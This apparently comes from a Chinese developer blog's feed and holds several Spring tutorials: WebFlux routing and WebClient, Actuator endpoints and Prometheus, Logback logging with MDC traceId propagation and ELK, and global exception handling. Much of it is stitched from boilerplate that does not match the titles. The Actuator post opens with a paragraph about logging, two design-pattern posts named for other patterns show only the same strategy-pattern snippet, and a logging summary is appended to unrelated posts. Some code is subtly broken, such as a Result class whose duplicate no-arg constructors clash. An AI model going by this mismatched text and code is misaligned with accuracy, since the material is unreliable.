        return userRepository.findAll();
    }
    
    @GetMapping("/users/{id}")
    public Mono<User> getUser(@PathVariable Long id) {
        return userRepository.findById(id);
    }
    
    @PostMapping("/users")
    public Mono<User> createUser(@RequestBody User user) {
        return userRepository.save(user);
    }
    
    @DeleteMapping("/users/{id}")
    public Mono<Void> deleteUser(@PathVariable Long id) {
        return userRepository.deleteById(id);
    }
}

#

函数式路由

@Configuration
public class UserRouter {
    
    @Bean
    public RouterFunction<ServerResponse> userRoutes(UserHandler handler) {
        return RouterFunctions.route()
            .GET("/users", handler::list)
            .GET("/users/{id}", handler::get)
            .POST("/users", handler::create)
            .DELETE("/users/{id}", handler::delete)
            .build();
    }
}

@Component
public class UserHandler {
    @Autowired
    private UserRepository userRepository;
    
    public Mono<ServerResponse> list(ServerRequest request) {
        return ServerResponse.ok()
            .body(userRepository.findAll(), User.class);
    }
    
    public Mono<ServerResponse> get(ServerRequest request) {
        Long id = Long.parseLong(request.pathVariable("id"));
        return userRepository.findById(id)
            .flatMap(user -> ServerResponse.ok().bodyValue(user))
            .switchIfEmpty(ServerResponse.notFound().build());
    }
    
    public Mono<ServerResponse> create(ServerRequest request) {
        return request.bodyToMono(User.class)
            .flatMap(userRepository::save)
            .flatMap(user -> ServerResponse.ok().bodyValue(user));
    }
    
    public Mono<ServerResponse> delete(ServerRequest request) {
        Long id = Long.parseLong(request.pathVariable("id"));
        return userRepository.deleteById(id)
            .then(ServerResponse.ok().build());
    }
}

WebClient

#

创建

WebClient client = WebClient.builder()
    .baseUrl("https://api.example.com")
    .defaultHeader(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE)
    .build();

#

GET 请求

// 获取单个对象
Mono<User> user = client.get()
    .uri("/users/{id}", 1)
    .retrieve()
    .bodyToMono(User.class);

// 获取列表
Flux<User> users = client.get()
    .uri("/users")
    .retrieve()
    .bodyToFlux(User.class);

#

POST 请求

Mono<User> created = client.post()
    .uri("/users")
    .bodyValue(newUser)
    .retrieve()
    .bodyToMono(User.class);

#

错误处理

Mono<User> user = client.get()
    .uri("/users/{id}", 1)
    .retrieve()
    .onStatus(HttpStatus::is4xxClientError, response -> 
        Mono.error(new NotFoundException()))
    .onStatus(HttpStatus::is5xxServerError, response -> 
        Mono.error(new ServerException()))
    .bodyToMono(User.class);

#

超时和重试

Mono<User> user = client.get()
    .uri("/users/{id}", 1)
    .retrieve()
    .bodyToMono(User.class)
    .timeout(Duration.ofSeconds(5))
    .retryWhen(Retry.backoff(3, Duration.ofSeconds(1)));

响应式数据访问

#

R2DBC

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-r2dbc</artifactId>
</dependency>
public interface UserRepository extends ReactiveCrudRepository<User, Long> {
    Flux<User> findByAgeGreaterThan(int age);
    Mono<User> findByUsername(String username);
}

#

ReactiveMongoRepository

public interface OrderRepository extends ReactiveMongoRepository<Order, String> {
    Flux<Order> findByStatus(String status);
}

SSE（Server-Sent Events）

@RestController
public class SseController {
    
    @GetMapping(value = "/events", produces = MediaType.TEXT_EVENT_STREAM_VALUE)
    public Flux<ServerSentEvent<String>> streamEvents() {
        return Flux.interval(Duration.ofSeconds(1))
            .map(seq -> ServerSentEvent.<String>builder()
                .id(String.valueOf(seq))
                .event("message")
                .data("Event " + seq)
                .build());
    }
}

适用场景

场景推荐
高并发网关/代理WebFlux
流式数据处理WebFlux
长连接推送（SSE）WebFlux
传统 CRUDMVC
复杂业务逻辑MVC
团队熟悉阻塞编程MVC

总结

WebFlux 适合：

  • 高并发、低延迟场景
  • 流式数据推送
  • 微服务网关

WebFlux 不适合：

  • 阻塞 JDBC（用 R2DBC 替代）
  • 复杂事务场景
  • 团队缺乏响应式经验

响应式编程是未来的趋势，但需要根据实际场景选择合适的技术栈。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> Spring 学习笔记 Spring 责任链模式在审批和过滤器中的应用 //ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/ 责任链模式在审批和过滤器中的应用

责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 SpringBoot Actuator监控端点 //springboot-actuator-jian-kong-duan-dian/ SpringBoot Actuator监控端点

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

引入依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

常用端点

端点路径说明
health/actuator/health健康检查
info/actuator/info应用信息
metrics/actuator/metrics指标列表
metrics/jvm.memory.used/actuator/metrics/jvm.memory.usedJVM 内存使用
env/actuator/env环境属性
beans/actuator/beans所有 Bean
loggers/actuator/loggers日志级别
threaddump/actuator/threaddump线程 dump
heapdump/actuator/heapdump堆 dump
mappings/actuator/mappingsURL 映射
httptrace/actuator/httptraceHTTP 请求追踪

配置

management:
  server:
    port: 8081  # 独立端口
  
  endpoints:
    web:
      exposure:
        include: health,info,metrics,prometheus  # 暴露的端点
        exclude: env,beans  # 排除的端点
      base-path: /actuator
  
  endpoint:
    health:
      show-details: when_authorized  # always / never / when_authorized
      probes:
        enabled: true  # Kubernetes 探针
    metrics:
      enabled: true
    loggers:
      enabled: true
  
  metrics:
    export:
      prometheus:
        enabled: true

健康检查

#

内置 HealthIndicator

Indicator检查内容
DataSourceHealthIndicator数据库连接
RedisHealthIndicatorRedis 连接
DiskSpaceHealthIndicator磁盘空间
RabbitHealthIndicatorRabbitMQ
ElasticsearchHealthIndicatorES 集群

#

自定义 HealthIndicator

@Component
public class CustomServiceHealthIndicator implements HealthIndicator {
    
    @Autowired
    private CustomService customService;
    
    @Override
    public Health health() {
        try {
            customService.ping();
            return Health.up()
                .withDetail("service", "custom")
                .withDetail("responseTime", "10ms")
                .build();
        } catch (Exception e) {
            return Health.down()
                .withDetail("service", "custom")
                .withDetail("error", e.getMessage())
                .build();
        }
    }
}

#

健康检查分组

management:
  endpoint:
    health:
      group:
        readiness:
          include: db, redis, diskSpace
        liveness:
          include: ping
curl http://localhost:8081/actuator/health/readiness
curl http://localhost:8081/actuator/health/liveness

指标监控（Micrometer）

#

内置指标

# 查看所有指标
curl http://localhost:8081/actuator/metrics

# 查看具体指标
curl http://localhost:8081/actuator/metrics/jvm.memory.used
curl http://localhost:8081/actuator/metrics/http.server.requests

#

自定义指标

@Service
public class OrderService {
    
    private final Counter orderCounter;
    private final Timer orderTimer;
    private final Gauge queueGauge;
    
    private final AtomicInteger queueSize = new AtomicInteger(0);
    
    public OrderService(MeterRegistry meterRegistry) {
        this.orderCounter = Counter.builder("orders.created")
            .description("创建订单数")
            .register(meterRegistry);
        
        this.orderTimer = Timer.builder("orders.process.time")
            .description("订单处理时间")
            .register(meterRegistry);
        
        this.queueGauge = Gauge.builder("orders.queue.size", queueSize, AtomicInteger::get)
            .description("订单队列长度")
            .register(meterRegistry);
    }
    
    public void createOrder() {
        orderTimer.record(() -> {
            // 处理订单
            orderCounter.increment();
        });
    }
}

Prometheus 集成

#

引入依赖

<dependency>
    <groupId>io.micrometer</groupId>
    <artifactId>micrometer-registry-prometheus</artifactId>
</dependency>

#

查看指标

curl http://localhost:8081/actuator/prometheus

#

Prometheus 配置

# prometheus.yml
scrape_configs:
  - job_name: 'spring-boot'
    metrics_path: '/actuator/prometheus'
    static_configs:
      - targets: ['localhost:8081']

自定义端点

#

@Endpoint

@Component
@Endpoint(id = "custom")
public class CustomEndpoint {
    
    @ReadOperation
    public Map<String, Object> read() {
        Map<String, Object> result = new HashMap<>();
        result.put("status", "ok");
        result.put("timestamp", System.currentTimeMillis());
        return result;
    }
    
    @WriteOperation
    public void write(@Selector String name, @Nullable String value) {
        // 写操作
    }
    
    @DeleteOperation
    public void delete(@Selector String name) {
        // 删除操作
    }
}

#

访问

# GET
curl http://localhost:8081/actuator/custom

# POST
curl -X POST http://localhost:8081/actuator/custom/name -d "value=test"

# DELETE
curl -X DELETE http://localhost:8081/actuator/custom/name

安全配置

#

Spring Security

@Configuration
public class ActuatorSecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.securityMatcher("/actuator/**")
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/actuator/health", "/actuator/info").permitAll()
                .requestMatchers("/actuator/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic();
        return http.build();
    }
}

#

防火墙限制

# 只开放特定 IP
iptables -A INPUT -p tcp --dport 8081 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8081 -j DROP

Kubernetes 探针

apiVersion: v1
kind: Pod
spec:
  containers:
    - name: app
      livenessProbe:
        httpGet:
          path: /actuator/health/liveness
          port: 8081
        initialDelaySeconds: 30
        periodSeconds: 10
      readinessProbe:
        httpGet:
          path: /actuator/health/readiness
          port: 8081
        initialDelaySeconds: 5
        periodSeconds: 5

最佳实践

实践说明
独立端口management.server.port 单独设置
安全加固/actuator 路径需要认证
最小暴露只暴露必要的端点
健康检查自定义业务健康检查
指标命名使用 dot 命名法：orders.created

总结

Spring Boot Actuator 提供了完善的生产监控能力：

  1. 健康检查： readiness / liveness 探针
  2. 指标收集：Micrometer 统一指标
  3. 端点暴露：按需暴露管理端点
  4. Prometheus：云原生监控集成

合理使用 Actuator，可以大幅提升系统的可观测性。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> Spring 学习笔记 Spring 模板方法模式适合流程固定的业务 //mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/ 模板方法模式适合流程固定的业务

模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 SpringBoot日志配置和链路排查 //springboot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/ SpringBoot日志配置和链路排查

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

Spring Boot 日志框架

#

默认集成

Spring Boot 默认使用 SLF4J + Logback：

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

@Service
public class UserService {
    private static final Logger log = LoggerFactory.getLogger(UserService.class);
    
    public void createUser(User user) {
        log.info("创建用户: {}", user.getUsername());
        log.debug("用户详情: {}", user);
    }
}

#

日志级别

级别说明
TRACE最详细
DEBUG调试信息
INFO一般信息
WARN警告
ERROR错误
log.trace("trace");
log.debug("debug");
log.info("info");
log.warn("warn");
log.error("error");

日志配置

#

application.yml 配置

logging:
  level:
    root: INFO
    com.example: DEBUG
    com.example.mapper: TRACE
  
  pattern:
    console: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n"
    file: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n"
  
  file:
    name: logs/app.log
    max-size: 10MB
    max-history: 30

#

logback-spring.xml

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <!-- 彩色控制台输出 -->
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} %highlight(%-5level) [%thread] %cyan(%logger{50}) - %msg%n</pattern>
        </encoder>
    </appender>
    
    <!-- 文件输出 -->
    <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>logs/app.log</file>
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <fileNamePattern>logs/app.%d{yyyy-MM-dd}.%i.log</fileNamePattern>
            <maxHistory>30</maxHistory>
            <maxFileSize>100MB</maxFileSize>
        </rollingPolicy>
        <encoder>
            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>
        </encoder>
    </appender>
    
    <!-- 异步文件输出 -->
    <appender name="ASYNC_FILE" class="ch.qos.logback.classic.AsyncAppender">
        <appender-ref ref="FILE"/>
        <queueSize>512</queueSize>
    </appender>
    
    <!-- 错误日志单独输出 -->
    <appender name="ERROR_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>logs/error.log</file>
        <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
            <level>ERROR</level>
        </filter>
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <fileNamePattern>logs/error.%d{yyyy-MM-dd}.log</fileNamePattern>
            <maxHistory>30</maxHistory>
        </rollingPolicy>
        <encoder>
            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>
        </encoder>
    </appender>
    
    <!-- 根日志 -->
    <root level="INFO">
        <appender-ref ref="CONSOLE"/>
        <appender-ref ref="ASYNC_FILE"/>
        <appender-ref ref="ERROR_FILE"/>
    </root>
    
    <!-- 业务日志 -->
    <logger name="com.example" level="DEBUG"/>
    <logger name="com.example.mapper" level="TRACE"/>
</configuration>

链路追踪（MDC）

#

MDC 基础

MDC（Mapped Diagnostic Context）用于在同一线程的日志中添加上下文信息。

import org.slf4j.MDC;

@Service
public class OrderService {
    private static final Logger log = LoggerFactory.getLogger(OrderService.class);
    
    public void createOrder(OrderRequest request) {
        // 设置 traceId
        String traceId = UUID.randomUUID().toString().replace("-", "");
        MDC.put("traceId", traceId);
        
        try {
            log.info("创建订单开始: {}", request.getOrderNo());
            // 业务逻辑
            log.info("创建订单完成: {}", request.getOrderNo());
        } finally {
            // 必须清理
            MDC.clear();
        }
    }
}

#

日志格式中加入 traceId

<!-- logback-spring.xml -->
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
    <encoder>
        <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%X{traceId}] %-5level %logger{50} - %msg%n</pattern>
    </encoder>
</appender>

输出：

2024-06-29 10:00:00.123 [http-nio-8080-exec-1] [a1b2c3d4e5f6] INFO  c.e.service.OrderService - 创建订单开始: ORDER001

#

过滤器自动设置 traceId

@Component
@Order(Ordered.HIGHEST_PRECEDENCE)
public class TraceIdFilter extends OncePerRequestFilter {
    
    public static final String TRACE_ID = "traceId";
    public static final String TRACE_ID_HEADER = "X-Trace-Id";
    
    @Override
    protected void doFilterInternal(HttpServletRequest request, 
                                    HttpServletResponse response, 
                                    FilterChain filterChain) throws ServletException, IOException {
        
        // 从请求头获取或生成 traceId
        String traceId = request.getHeader(TRACE_ID_HEADER);
        if (StringUtils.isBlank(traceId)) {
            traceId = UUID.randomUUID().toString().replace("-", "");
        }
        
        // 设置到 MDC
        MDC.put(TRACE_ID, traceId);
        
        // 设置到响应头
        response.setHeader(TRACE_ID_HEADER, traceId);
        
        try {
            filterChain.doFilter(request, response);
        } finally {
            MDC.clear();
        }
    }
}

#

Feign 传递 traceId

@Configuration
public class FeignConfig {
    
    @Bean
    public RequestInterceptor traceIdInterceptor() {
        return template -> {
            String traceId = MDC.get(TraceIdFilter.TRACE_ID);
            if (StringUtils.isNotBlank(traceId)) {
                template.header(TraceIdFilter.TRACE_ID_HEADER, traceId);
            }
        };
    }
}

#

线程池传递 MDC

public class MdcThreadPoolExecutor extends ThreadPoolExecutor {
    
    public MdcThreadPoolExecutor(int corePoolSize, int maximumPoolSize, 
                                  long keepAliveTime, TimeUnit unit,
                                  BlockingQueue<Runnable> workQueue) {
        super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue);
    }
    
    @Override
    public void execute(Runnable task) {
        Map<String, String> context = MDC.getCopyOfContextMap();
        super.execute(() -> {
            if (context != null) {
                MDC.setContextMap(context);
            }
            try {
                task.run();
            } finally {
                MDC.clear();
            }
        });
    }
}

#

@Async 传递 MDC

@Configuration
@EnableAsync
public class AsyncConfig implements AsyncConfigurer {
    
    @Override
    @Bean(name = "taskExecutor")
    public Executor getAsyncExecutor() {
        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
        executor.setCorePoolSize(10);
        executor.setMaxPoolSize(20);
        executor.setQueueCapacity(200);
        executor.setThreadNamePrefix("async-");
        
        // 包装为 MDC 传递的 Executor
        executor.setTaskDecorator(new MdcTaskDecorator());
        executor.initialize();
        return executor;
    }
}

public class MdcTaskDecorator implements TaskDecorator {
    @Override
    public Runnable decorate(Runnable runnable) {
        Map<String, String> contextMap = MDC.getCopyOfContextMap();
        return () -> {
            if (contextMap != null) {
                MDC.setContextMap(contextMap);
            }
            try {
                runnable.run();
            } finally {
                MDC.clear();
            }
        };
    }
}

日志收集（ELK）

#

Filebeat 配置

# filebeat.yml
filebeat.inputs:
- type: log
  enabled: true
  paths:
    - /var/log/app/*.log
  fields:
    app: my-service
    env: prod
  multiline.pattern: '^\d{4}-\d{2}-\d{2}'
  multiline.negate: true
  multiline.match: after

output.logstash:
  hosts: ["logstash:5044"]

#

Logstash 配置

# logstash.conf
input {
  beats {
    port => 5044
  }
}

filter {
  grok {
    match => { 
      "message" => "%{TIMESTAMP_ISO8601:timestamp} \[%{DATA:thread}\] \[%{DATA:traceId}\] %{LOGLEVEL:level} %{DATA:logger} - %{GREEDYDATA:msg}" 
    }
  }
  date {
    match => [ "timestamp", "ISO8601" ]
  }
}

output {
  elasticsearch {
    hosts => ["elasticsearch:9200"]
    index => "app-logs-%{+YYYY.MM.dd}"
  }
}

#

Kibana 查询

# 按 traceId 查询链路
traceId: "a1b2c3d4e5f6"

# 按应用和级别查询
app: "my-service" AND level: "ERROR"

# 时间范围
timestamp: ["now-1h" TO "now"]

最佳实践

#

1. 日志规范

// 好：使用占位符，不拼接字符串
log.info("用户{}创建订单{}", userId, orderId);

// 差：字符串拼接，无条件也执行
log.info("用户" + userId + "创建订单" + orderId);

// 异常日志
log.error("订单创建失败: {}", orderId, e);  // 带异常堆栈

#

2. 敏感信息脱敏

@DataMask(type = MaskType.PHONE)
private String phone;

@DataMask(type = MaskType.ID_CARD)
private String idCard;

#

3. 日志采样

if (log.isDebugEnabled()) {
    log.debug("详细调试信息: {}", expensiveOperation());
}

总结

组件用途
SLF4J + Logback日志框架
MDC线程级上下文
TraceIdFilter自动生成/传递 traceId
Feign Interceptor服务间传递 traceId
MdcTaskDecorator异步线程传递 MDC
ELK日志收集与分析

完善的日志和链路追踪体系，是排查线上问题的利器。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> Spring 学习笔记 Spring 策略模式替代大量 if else //ce-lue-mo-shi-ti-dai-da-liang-if-else/ 策略模式替代大量 if else

策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 SpringBoot统一异常处理实践 //springboot-tong-yi-yi-chang-chu-li-shi-jian/ SpringBoot统一异常处理实践

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

异常体系设计

#

异常层次

Throwable
├── Error（系统级错误，不处理）
└── Exception
    ├── RuntimeException
    │   ├── BusinessException（业务异常，已知）
    │   │   ├── ValidationException（参数校验）
    │   │   ├── NotFoundException（资源不存在）
    │   │   └── UnauthorizedException（未授权）
    │   └── SystemException（系统异常，未知）
    └── Checked Exception（编译期异常）

#

基础异常类

@Getter
public class BusinessException extends RuntimeException {
    private final Integer code;
    private final Object[] args;
    
    public BusinessException(ErrorCode errorCode, Object... args) {
        super(MessageFormat.format(errorCode.getMessage(), args));
        this.code = errorCode.getCode();
        this.args = args;
    }
    
    public BusinessException(Integer code, String message) {
        super(message);
        this.code = code;
        this.args = null;
    }
}

#

错误码枚举

public enum ErrorCode {
    // 系统级 1xxxx
    SUCCESS(200, "操作成功"),
    SYSTEM_ERROR(10001, "系统内部错误"),
    PARAM_ERROR(10002, "参数错误"),
    
    // 用户模块 2xxxx
    USER_NOT_FOUND(20001, "用户不存在"),
    USER_ALREADY_EXISTS(20002, "用户已存在"),
    USER_PASSWORD_ERROR(20003, "密码错误"),
    USER_UNAUTHORIZED(20004, "未授权"),
    USER_FORBIDDEN(20005, "无权限访问"),
    
    // 订单模块 3xxxx
    ORDER_NOT_FOUND(30001, "订单不存在"),
    ORDER_STATUS_ERROR(30002, "订单状态不正确"),
    ORDER_STOCK_INSUFFICIENT(30003, "库存不足");
    
    private final Integer code;
    private final String message;
    
    ErrorCode(Integer code, String message) {
        this.code = code;
        this.message = message;
    }
    
    public Integer getCode() { return code; }
    public String getMessage() { return message; }
}

#

具体业务异常

public class NotFoundException extends BusinessException {
    public NotFoundException(String resource, Object id) {
        super(ErrorCode.USER_NOT_FOUND, resource, id);
    }
}

public class ValidationException extends BusinessException {
    public ValidationException(String field, String message) {
        super(ErrorCode.PARAM_ERROR, field, message);
    }
}

全局异常处理器

@Slf4j
@RestControllerAdvice
public class GlobalExceptionHandler {
    
    /**
     * 业务异常
     */
    @ExceptionHandler(BusinessException.class)
    public Result<Void> handleBusinessException(BusinessException e) {
        log.warn("业务异常: {}", e.getMessage());
        return Result.fail(e.getCode(), e.getMessage());
    }
    
    /**
     * 参数校验异常 - 请求体
     */
    @ExceptionHandler(MethodArgumentNotValidException.class)
    public Result<Void> handleMethodArgumentNotValid(MethodArgumentNotValidException e) {
        String message = e.getBindingResult().getFieldErrors().stream()
            .map(error -> String.format("%s%s", error.getField(), error.getDefaultMessage()))
            .collect(Collectors.joining(", "));
        
        log.warn("参数校验失败: {}", message);
        return Result.fail(ErrorCode.PARAM_ERROR.getCode(), message);
    }
    
    /**
     * 参数校验异常 - URL 参数
     */
    @ExceptionHandler(ConstraintViolationException.class)
    public Result<Void> handleConstraintViolation(ConstraintViolationException e) {
        String message = e.getConstraintViolations().stream()
            .map(violation -> violation.getPropertyPath() + violation.getMessage())
            .collect(Collectors.joining(", "));
        
        log.warn("参数校验失败: {}", message);
        return Result.fail(ErrorCode.PARAM_ERROR.getCode(), message);
    }
    
    /**
     * 参数绑定异常
     */
    @ExceptionHandler(BindException.class)
    public Result<Void> handleBindException(BindException e) {
        String message = e.getBindingResult().getFieldErrors().stream()
            .map(error -> error.getField() + error.getDefaultMessage())
            .collect(Collectors.joining(", "));
        
        return Result.fail(ErrorCode.PARAM_ERROR.getCode(), message);
    }
    
    /**
     * 请求方法不支持
     */
    @ExceptionHandler(HttpRequestMethodNotSupportedException.class)
    public Result<Void> handleMethodNotSupported(HttpRequestMethodNotSupportedException e) {
        return Result.fail(405, "请求方法不支持: " + e.getMethod());
    }
    
    /**
     * 资源不存在
     */
    @ExceptionHandler(NoHandlerFoundException.class)
    public Result<Void> handleNoHandlerFound(NoHandlerFoundException e) {
        return Result.fail(404, "资源不存在: " + e.getRequestURL());
    }
    
    /**
     * 缺少请求参数
     */
    @ExceptionHandler(MissingServletRequestParameterException.class)
    public Result<Void> handleMissingParam(MissingServletRequestParameterException e) {
        return Result.fail(ErrorCode.PARAM_ERROR.getCode(), 
            "缺少参数: " + e.getParameterName());
    }
    
    /**
     * 类型转换异常
     */
    @ExceptionHandler(MethodArgumentTypeMismatchException.class)
    public Result<Void> handleTypeMismatch(MethodArgumentTypeMismatchException e) {
        return Result.fail(ErrorCode.PARAM_ERROR.getCode(),
            String.format("参数%s类型错误，应为%s", e.getName(), e.getRequiredType().getSimpleName()));
    }
    
    /**
     * 其他未知异常
     */
    @ExceptionHandler(Exception.class)
    public Result<Void> handleException(Exception e, HttpServletRequest request) {
        log.error("系统异常, URI: {}, 错误: {}", request.getRequestURI(), e.getMessage(), e);
        return Result.fail(ErrorCode.SYSTEM_ERROR.getCode(), "系统繁忙，请稍后再试");
    }
}

错误响应结构

@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder
public class Result<T> {
    private Integer code;
    private String message;
    private T data;
    private String path;
    private Long timestamp;
    private String traceId;
    
    public Result() {
        this.timestamp = System.currentTimeMillis();
    }
    
    public static <T> Result<T> success(T data) {
        return Result.<T>builder()
            .code(ErrorCode.SUCCESS.getCode())
            .message(ErrorCode.SUCCESS.getMessage())
            .data(data)
            .timestamp(System.currentTimeMillis())
            .build();
    }
    
    public static <T> Result<T> fail(Integer code, String message) {
        return Result.<T>builder()
            .code(code)
            .message(message)
            .timestamp(System.currentTimeMillis())
            .build();
    }
    
    public static <T> Result<T> fail(ErrorCode errorCode) {
        return fail(errorCode.getCode(), errorCode.getMessage());
    }
}

添加请求路径和 TraceId

@Component
public class ResponseEnhanceFilter implements Filter {
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        String traceId = MDC.get("traceId");
        if (traceId == null) {
            traceId = UUID.randomUUID().toString().replace("-", "");
            MDC.put("traceId", traceId);
        }
        
        RequestContextHolder.setPath(httpRequest.getRequestURI());
        
        try {
            chain.doFilter(request, response);
        } finally {
            MDC.remove("traceId");
            RequestContextHolder.clear();
        }
    }
}
@RestControllerAdvice
public class GlobalExceptionHandler {
    
    @ExceptionHandler(Exception.class)
    public Result<Void> handleException(Exception e) {
        Result<Void> result = Result.fail(ErrorCode.SYSTEM_ERROR);
        result.setPath(RequestContextHolder.getPath());
        result.setTraceId(MDC.get("traceId"));
        return result;
    }
}

国际化支持

#

配置 MessageSource

@Configuration
public class I18nConfig {
    
    @Bean
    public MessageSource messageSource() {
        ReloadableResourceBundleMessageSource messageSource = 
            new ReloadableResourceBundleMessageSource();
        messageSource.setBasename("classpath:i18n/messages");
        messageSource.setDefaultEncoding("UTF-8");
        messageSource.setCacheSeconds(3600);
        return messageSource;
    }
}

#

错误码配置

# i18n/messages.properties
error.10001=System internal error
error.20001=User not found

# i18n/messages_zh_CN.properties
error.10001=系统内部错误
error.20001=用户不存在

#

使用

@Service
public class I18nService {
    @Autowired
    private MessageSource messageSource;
    
    public String getMessage(ErrorCode errorCode, Object... args) {
        Locale locale = LocaleContextHolder.getLocale();
        return messageSource.getMessage("error." + errorCode.getCode(), args, 
            errorCode.getMessage(), locale);
    }
}

测试验证

@SpringBootTest
@AutoConfigureMockMvc
public class ExceptionHandlerTest {
    
    @Autowired
    private MockMvc mockMvc;
    
    @Test
    public void testValidationException() throws Exception {
        mockMvc.perform(post("/users")
                .contentType(MediaType.APPLICATION_JSON)
                .content("{}"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.code").value(10002))
            .andExpect(jsonPath("$.message").value(containsString("用户名不能为空")));
    }
    
    @Test
    public void testBusinessException() throws Exception {
        mockMvc.perform(get("/users/99999"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.code").value(20001))
            .andExpect(jsonPath("$.message").value("用户不存在"));
    }
    
    @Test
    public void testNotFound() throws Exception {
        mockMvc.perform(get("/not-exist"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.code").value(404));
    }
}

最佳实践

实践说明
区分异常类型业务异常 vs 系统异常
不暴露内部信息系统异常返回通用消息
记录完整日志包含 traceId、URI、参数
统一响应格式所有接口返回相同结构
错误码规范按模块划分，易于定位

总结

一套完整的异常处理体系包括：

  1. 异常层次：区分业务异常和系统异常
  2. 错误码规范：模块化、语义化
  3. 全局处理器：统一捕获、格式化响应
  4. 日志记录：包含上下文信息
  5. 国际化：支持多语言

